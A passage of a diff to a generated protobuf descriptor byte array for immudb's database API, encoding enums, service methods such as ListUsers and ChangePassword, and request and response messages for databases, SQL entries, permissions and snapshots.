0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, - 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, - 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, - 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, - 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, - 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, - 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, - 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, - 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, - 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, - 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, - 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, - 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, - 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, + 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, + 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, + 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, + 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, + 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, + 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, + 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, + 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, + 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, + 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, + 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, + 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, + 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, + 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, + 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, + 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, + 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, + 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, + 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, + 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, + 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, + 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, + 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, + 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, + 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, + 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, + 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, + 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, + 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, + 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, + 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, + 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, + 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, + 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, + 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, + 0x66, 0x6f, 0x72, 0x65, 